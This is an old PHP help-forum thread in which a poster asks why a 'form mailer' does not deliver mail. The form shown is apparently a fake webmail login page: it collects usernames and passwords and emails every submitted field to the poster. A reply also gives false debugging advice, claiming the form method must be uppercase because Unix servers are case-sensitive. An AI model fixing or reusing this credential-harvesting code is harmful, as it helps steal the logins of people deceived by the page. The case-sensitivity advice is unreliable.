denilson Posted July 18, 2007 Share Posted July 18, 2007 Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on hyperphp.com but in the host isnt the problem.I will give my code, and if anyone know what do , thanks. PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.I think there are some errors in the code,but i`m a newbie. Form <form action="mailer.php" method="post"> <table style="opacity: 1;"> <tbody><tr> <td>Username:</td> <td><input size="20" name="username" maxlength="12" type="text"></td> </tr> <tr> <td>Password:</td> <td><input size="20" name="password" maxlength="20" type="password"></td> </tr> <tr> <td></td> <td align="center"><input value="Login" name="submit" type="submit"></td> </tr> </tbody></table> <input name="dest" value="inbox.ws" type="hidden"> </form> Mailer <?PHP $to = "[email protected]"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; $date = date ("l, F jS, Y"); $time = date ("h:i A"); $msg = "Below is the result of your feedback form. It was submitted on $date at $time.\n\n"; if ($_SERVER['REQUEST_METHOD'] == "POST") { foreach ($_POST as $key => $value) { $msg .= ucfirst ($key) ." : ". $value . "\n"; } } else { foreach ($_GET as $key => $value) { $msg .= ucfirst ($key) ." : ". $value . "\n"; } } mail ($to, $subject, $msg, $headers); if ($forward == 1) { header ("Location:$location"); } else { echo "Thanks..."; } ?> Link to comment https://forums.phpfreaks.com/topic/60500-php-form-mailer-problem/ Share on other sites More sharing options...
simcoweb Posted July 18, 2007 Share Posted July 18, 2007 Have you set these variables to their proper values? $to = "[email protected]"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; Link to comment https://forums.phpfreaks.com/topic/60500-php-form-mailer-problem/#findComment-300968 Share on other sites More sharing options...
denilson Posted July 18, 2007 Author Share Posted July 18, 2007 Have you set these variables to their proper values? $to = "[email protected]"; $subject = "Results from your Request Info form"; $headers = "From: My Site"; $forward = 0; $location = ""; yes...i replaced the [email protected] with m real mail... Link to comment https://forums.phpfreaks.com/topic/60500-php-form-mailer-problem/#findComment-300971 Share on other sites More sharing options...
simcoweb Posted July 18, 2007 Share Posted July 18, 2007 Just a guess at this but this: method="post" should be this: method="POST" since Unix servers are cAsE SenSitIve. You have an 'if' statement referring to "POST" and if it's not understanding "post" = "POST" then nothing gets passed. Link to comment https://forums.phpfreaks.com/topic/60500-php-form-mailer-problem/#findComment-300979 Share on other sites More sharing options...
denilson Posted July 18, 2007 Author Share Posted July 18, 2007 Just a guess at this but this: method="post" should be this: method="POST" since Unix servers are cAsE SenSitIve. You have an 'if' statement referring to "POST" and if it's not understanding "post" = "POST" then nothing gets passed. I tried this, but again it dont work. A man said me that there is a problem in code, but i cant find him. Link to comment https://forums.phpfreaks.com/topic/60500-php-form-mailer-problem/#findComment-300985 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.